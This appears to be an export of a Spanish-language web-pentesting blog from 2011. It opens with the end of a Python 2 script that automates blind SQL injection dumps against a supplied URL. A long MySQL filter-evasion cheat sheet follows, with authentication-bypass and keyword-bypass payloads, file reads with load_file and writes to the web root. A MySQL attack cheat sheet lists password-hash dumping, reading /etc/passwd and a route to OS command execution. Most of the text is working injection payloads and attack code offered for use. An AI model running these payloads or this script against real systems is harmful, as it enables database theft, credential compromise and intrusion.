for i in range(0,300,100):
payload_final = str.replace(payload,'FUZZ',str(i))
payload_final = str.replace(payload_final,'FAZZ',str(i+100))
payload_final = str.replace(payload_final,'FIZZ',str(x+1))
pagina = urllib2.urlopen(url+payload_final).read()
print len(pagina)
if(tam != len(pagina)):
letra[x] = i
break
pct = (100*1)/5
print str(pct)+"% Completed"

for i in range(int(letra[x]),int(letra[x])+100,50):
payload_final = str.replace(payload,'FUZZ',str(i))
payload_final = str.replace(payload_final,'FAZZ',str(i+50))
payload_final = str.replace(payload_final,'FIZZ',str(x+1))
pagina = urllib2.urlopen(url+payload_final).read()
if(tam != len(pagina)):
letra[x] = i
break
pct = (100*2)/5
print str(pct)+"% Completed"

for i in range(int(letra[x]),int(letra[x])+50,10):
payload_final = str.replace(payload,'FUZZ',str(i))
payload_final = str.replace(payload_final,'FAZZ',str(i+10))
payload_final = str.replace(payload_final,'FIZZ',str(x+1))
pagina = urllib2.urlopen(url+payload_final).read()
if(tam != len(pagina)):
letra[x] = i
break
pct = (100*3)/5
print str(pct)+"% Completed"

for i in range(int(letra[x]),int(letra[x])+10,5):
payload_final = str.replace(payload,'FUZZ',str(i))
payload_final = str.replace(payload_final,'FAZZ',str(i+5))
payload_final = str.replace(payload_final,'FIZZ',str(x+1))
pagina = urllib2.urlopen(url+payload_final).read()
if(tam != len(pagina)):
letra[x] = i
break
pct = (100*4)/5
print str(pct)+"% Completed"

for i in range(int(letra[x]),int(letra[x])+5,1):
payload_final = str.replace(payload,'FUZZ',str(i))
payload_final = str.replace(payload_final,'FAZZ',str(i+1))
payload_final = str.replace(payload_final,'FIZZ',str(x+1))
pagina = urllib2.urlopen(url+payload_final).read()
if(tam != len(pagina)):
letra[x] = i
resultado = resultado+chr(i)
break
pct = (100*5)/5
print str(pct)+"% Completed"
os.system("clear")
print "Your query give as result: "
print resultado
return resultado

if(len(sys.argv) > 1):
tam = comprobar(sys.argv[1])
automata(sys.argv[1],tam)
else:
print "First of all find a url vulnerable to Blind Sqli then use the program to automatize ur dump"
print "Usage ./blind_sql.py <url>"
print "For more information visit http://s3ik0tr0n.blogspot.com"

Evasion de Filtros para Mysql

2011-08-11T13:23:00.000+02:00

Pequeño guia burros para saltar los filtros que se suele encontrar.

Es una recopilacion muy buena sacada de WebSecc ire añadiendo y modificando las que vaya encontrando o descubriendo por hay para intentar hacer una guia lo mas completa posible.

Basic filter

Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′

Strings without quotes
‘abc’ = 0×616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true

Compare operator typecasting
select * from users where ‘a’='b’='c’
select * from users where (‘a’='b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-’
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users

Function filter

General function filtering
ascii (97)
load_file/*foo*/(0×616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36
@@new: 0
@@log_bin: 1
!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4
minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,'abc’)
position(‘a’,'abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,'a’)
substring_index(‘ab’,'b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,'a’)
mod(‘a’,'a’)
find_in_set(‘a’,'a’)
field(‘a’,'a’)
count(concat(‘a’,'a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)

Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-’

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a'))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a',1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’='a’ then 1 [else 0] end
if(‘a’='a’,1,0)
ifnull(nullif(‘a’,'a’),1)

Como siempre, seguire buscando cosas para añadir si veis que falta algo no dudeis en contestar...

Mysql Cheatsheet

2011-08-11T13:10:00.000+02:00

Siempre viene bien tenerlo a mano, esta sacado de Pentestmonkey
Si pensáis que falta algo, no dudéis en avisar y iré añadiendo.

Version	SELECT @@version
Comments	SELECT 1; #comment SELECT /comment/1;
Current User	SELECT user(); SELECT system_user();
List Users	SELECT user FROM mysql.user; — priv
List Password Hashes	SELECT host, user, password FROM mysql.user; — priv
Password Cracker	John the Ripper will crack MySQL password hashes.
List Privileges	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas) SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA Accounts	SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER'; SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv
Current Database	SELECT database()
List Databases	SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0 SELECT distinct(db) FROM mysql.db — priv
List Columns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Tables	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; — find table which have a column called 'username'
Select Nth Row	SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0 SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char	SELECT substr('abcd', 3, 1); # returns c
Bitwise AND	SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0
ASCII Value -> Char	SELECT char(65); # returns A
Char -> ASCII Value	SELECT ascii('A'); # returns 65
Casting	SELECT cast('1' AS unsigned integer); SELECT cast('123' AS char);
String Concatenation	SELECT CONCAT('A','B'); #returns AB SELECT CONCAT('A','B','C'); # returns ABC
If Statement	SELECT if(1=1,'foo','bar'); — returns 'foo'
Case Statement	SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes	SELECT 0×414243; # returns ABC
Time Delay	SELECT BENCHMARK(1000000,MD5('A')); SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests	Impossible?
Command Execution	If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF). raptor_udf.c explains exactly how you go about this. Remember tofor the target architecture which may or may not be the same as your attack platform.
Local File Access	…' UNION ALL SELECT LOAD_FILE('/etc/passwd') — priv, can only read world-readable files. SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; — priv, write to file system
Hostname, IP Address	Impossible?
Create Users	CREATE USER test1 IDENTIFIED BY 'pass1'; — priv
Delete Users	DROP USER test1; — priv
Make User DBA	GRANT ALL PRIVILEGES ON . TO test1@'%'; — priv
Location of DB files	SELECT @@datadir;
Default/System Databases	information_schema (>= mysql 5.0) mysql

Seguridad Informatica, Intro

2011-08-11T12:41:00.000+02:00

Buenas gente, abro este blog para tratar temas de "actualidad" o no, sobre la seguridad informática. Publicare programitas creados por mi relacionados con el tema, por supuesto. Publicaré opiniones, manuales, y "cheatsheet" sobre pentesting sobre entornos web (mi tema favorito en este mundo tan amplio de la seguridad informática)

Intentare publicar noticias sobre la informática aunque también de vez en cuando intentare poner artículos de humor y ocio (no todo es informática en esta vida) o noticias curiosas y amenas.

Bueno sin mas que decir, un saludo y por aquí estamos!